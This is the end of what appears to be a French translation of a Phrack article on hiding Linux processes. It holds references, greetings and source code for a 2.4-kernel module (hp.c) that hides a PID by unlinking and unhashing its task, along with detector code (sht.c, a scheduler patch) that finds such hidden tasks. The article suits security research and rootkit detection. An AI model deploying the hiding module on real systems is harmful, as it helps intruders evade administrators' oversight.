http://www.phrack.org/show.php?p=61&a=14 [7] Linux kernel internals #Process and Interrupt Management Par Tigran Aivazian http://www.tldp.org/LDP/lki/lki.html [8] Scheduling in UNIX and Linux Par moz http://www.kernelnewbies.org/documents/schedule/ [9] KernelAnalysis-HOWTO #Linux Multitasking Par Roberto Arcomano http://www.tldp.org/HOWTO/KernelAnalysis-HOWTO.html [10] chkrootkit - CHecK ROOT KIT Par Nelson Murilo http://www.chkrootkit.org/ [11] manual page for clone(2) http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=clone [12] manual page for ptrace(2) http://linux.com.hk/PenguinWeb/manpage.jsp?section=2&name=ptrace --[ 6 - et le jeu n'en finira jamais... hey, connards ! octavian, trog, slider, raven et tous les gens avec qui je garde contact, merci d'être la et de perdre votre temps avec moi, parfois, j'en ai réellement besoin ; ruffus, nirolf et vadim et si on relancaient la team ... bafta pe oriunde sunteti dudes. Si vous voyez des typos, des erreurs, ou avez quelque chose à me communiquer, n'ayez pas peur de prendre contact. web - w3.phi.group.eu.org mail - ubra_phi.group.eu.org irc - Efnet/Undernet #PHI * les indos de contact et site web sont et resteront non valide jusqu'à quelques semaines pendant que je déménae, désollé, je remmetrai les choses ASAP [NDT : As Soon As Possible - aussi vite que possible], pendant ce temps, vous pouvez me rencontrer via l'email dradosg_personnal.ro --[ 7 - sources <++> src/Makefile all: sht.c hp.c gcc -c -I/EDIT_HERE_YOUR_LINUX_SOURCE_TREE/linux/include sht.c hp.c <--> <++> src/hp.c /*| * hp - hide pid v1.0.0 * hides a pid using different methods * ( demo code for hideing processes paper ) * * syntax : insmod hp.o (pid=pid_no|task=task_addr) [method=0x1|0x2|0x4] * * coded in 2004 by ubra from PHI Group * web - ubra.phi.group.za.org * mail - ubra_phi.group.za.org * irc - Efnet/Undernet#PHI |*/ #define __KERNEL__ #define MODULE #include #include #include pid_t pid = 0 ; struct task_struct *task = 0 ; unsigned char method = 0x3 ; int init_module ( ) { if ( pid ) { task = find_task_by_pid(pid) ; printk ( "[HP] address of task struct for pid %i is 0x%p\n" , pid , task ) ; if ( task ) { write_lock_irq(&tasklist_lock) ; if ( method & 0x1 ) { printk("[HP] removing process links\n") ; REMOVE_LINKS(task) ; } if ( method & 0x2 ) { printk("[HP] unhashing pid\n") ; unhash_pid(task) ; } if ( method & 0x4 ) { printk("[HP] zerofing pid\n") ; task->pid == 0 ; } write_unlock_irq(&tasklist_lock) ; } } else if ( task ) { printk ( "[HP] unhideing task at addr 0x%x\n" , task ) ; write_lock_irq(&tasklist_lock) ; if ( method & 0x1 ) { printk("[HP] setting process links\n") ; SET_LINKS(task) ; } if ( method & 0x2 ) { printk("[HP] hashing pid\n") ; hash_pid(task) ; } if ( method & 0x4 ) { printk ( "[HP] reverting 0 pid to %i\n" , task->tgid ) ; task->pid = task->tgid ; } write_unlock_irq(&tasklist_lock) ; } return 1 ; } MODULE_PARM ( pid , "i" ) ; MODULE_PARM_DESC ( pid , "the pid to hide" ) ; MODULE_PARM ( task , "l" ) ; MODULE_PARM_DESC ( task , "the address of the task struct to unhide" ) ; MODULE_PARM ( method , "b" ) ; MODULE_PARM_DESC ( method , "a bitwise OR of the method to use , 0x1 - linked list , 0x2 - pidhash , 0x4 - zerofy pid" ) ; MODULE_AUTHOR("ubra @ PHI Group") ; MODULE_DESCRIPTION("hp - hide pid v1.0.0 - hides a task with 3 possible methods") ; MODULE_LICENSE("GPL") ; EXPORT_NO_SYMBOLS ; <--> <++> src/sht.c /*| * sht - search hidden tasks v1.0.0 * checks tasks to be visible upon entering syscall * ( demo code for hideing processes paper ) * * syntax : insmod sht.o * * coded in 2005 by ubra from PHI Group * web - w3.phi.group.za.org * mail - ubra_phi.group.za.org * irc - Efnet/Undernet#PHI |*/ #define __KERNEL__ #define MODULE #include #include #include struct idta { unsigned short size ; unsigned long addr __attribute__((packed)) ; } ; struct idt { unsigned short offl ; unsigned short seg ; unsigned char pad ; unsigned char flags ; unsigned short offh ; } ; unsigned long get_idt_addr ( void ) { struct idta idta ; asm ( "sidt %0" : "=m" (idta) ) ; return idta.addr ; } unsigned long get_int_addr ( unsigned int intp ) { struct idt idt ; unsigned long idt_addr ; idt_addr = get_idt_addr() ; idt = *((struct idt *) idt_addr + intp) ; return idt.offh << 16 | idt.offl ; } void hook_int ( unsigned int intp , unsigned long new_func , unsigned long *old_func ) { struct idt idt ; unsigned long idt_addr ; if ( old_func ) *old_func = get_int_addr(intp) ; idt_addr = get_idt_addr() ; idt = *((struct idt *) idt_addr + intp) ; idt.offh = (unsigned short) (new_func >> 16 & 0xFFFF) ; idt.offl = (unsigned short) (new_func & 0xFFFF) ; *((struct idt *) idt_addr + intp) = idt ; return ; } asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) ; asmlinkage void stub_func ( void ) ; unsigned long new_handler = (unsigned long) &check_task ; unsigned long old_handler ; void stub_handler ( void ) { asm(".globl stub_func \n" ".align 4,0x90 \n" "stub_func : \n" " pushal \n" " pushl %%eax \n" " movl $-8192 , %%eax \n" " andl %%esp , %%eax \n" " pushl %%eax \n" " movl -4(%%esp) , %%eax \n" " pushl %%esp \n" " call *%0 \n" " addl $12 , %%esp \n" " popal \n" " jmp *%1 \n" :: "m" (new_handler) , "m" (old_handler) ) ; } asmlinkage void check_task ( struct pt_regs *regs , struct task_struct *task ) { struct task_struct *task_p = &init_task ; unsigned char on_ll = 0 , on_ph = 0 ; if ( ! task->mm ) return ; do { if ( task_p == task ) { on_ll = 1 ; break ; } task_p = task_p->next_task ; } while ( task_p != &init_task ) ; if ( find_task_by_pid(task->pid) == task ) on_ph = 1 ; if ( ! on_ll || ! on_ph || ! task->pid ) printk ( "[SHT] task pid %i <%s> task addr 0x%x syscall %i - TASK IS HIDDEN ( %s / %s / %s )\n" , task->pid , task->comm , task , regs->orig_eax , on_ll ? "on linked list" : "NOT ON LINKED LIST" , on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST" , task->pid ? "pid is valid" : "PID IS INVALID" ) ; return ; } int sht_init ( void ) { hook_int ( 128 , (unsigned long) &stub_func , &old_handler ) ; printk("[SHT] loaded - monitoring tasks integrity\n") ; return 0 ; } void sht_exit ( void ) { hook_int ( 128 , old_handler , NULL ) ; printk("[SHT] unloaded\n") ; return ; } module_init(sht_init) ; module_exit(sht_exit) ; MODULE_AUTHOR("ubra / PHI Group") ; MODULE_DESCRIPTION("sht - search hidden tasks v1.0.0") ; MODULE_LICENSE("GPL") ; EXPORT_NO_SYMBOLS ; <--> <++> src/sh.patch --- linux-2.4.30/kernel/sched_orig.c 2004-11-17 11:54:22.000000000 +0000 +++ linux-2.4.30/kernel/sched.c 2005-07-08 13:29:16.000000000 +0000 @@ -534,6 +534,25 @@ __schedule_tail(prev); } +asmlinkage void phi_sht_check_task(struct task_struct *prev, struct task_struct *next) +{ + struct task_struct *task_p = &init_task; + unsigned char on_ll = 0, on_ph = 0; + + do { + if(task_p == prev) { + on_ll = 1; + break; + } + task_p = task_p->next_task ; + } while(task_p != &init_task); + if (find_task_by_pid(prev->pid) == prev) + on_ph = 1 ; + if (!on_ll || !on_ph || !prev->pid) + printk("[SHT] task pid %i <%s> task addr 0x%x ( next task pid %i <%s> next task addr 0x%x ) - TASK IS HIDDEN ( %s / %s / %s )\n", prev->pid, prev->comm, prev, next->pid, next->comm, next, on_ll ? "on linked list" : "NOT ON LINKED LIST", on_ph ? "on pidhash list" : "NOT ON PIDHASH LIST", prev->pid ? "pid is valid" : "PID IS INVALID"); + return; +} + /* * 'schedule()' is the scheduler function. It's a very simple and nice * scheduler: it's not perfect, but certainly works for most things. @@ -634,6 +653,13 @@ task_set_cpu(next, this_cpu); spin_unlock_irq(&runqueue_lock); + /* + * check task`s structures before we do any scheduling decision + * skip any kernel thread which might yeld false positives + */ + if(prev->mm) + phi_sht_check_task(prev, next); + if (unlikely(prev == next)) { /* We won't go through the normal tail, so do this by hand */ prev->policy &= ~SCHED_YIELD; <--> |=[ EOF ]=---------------------------------------------------------------=|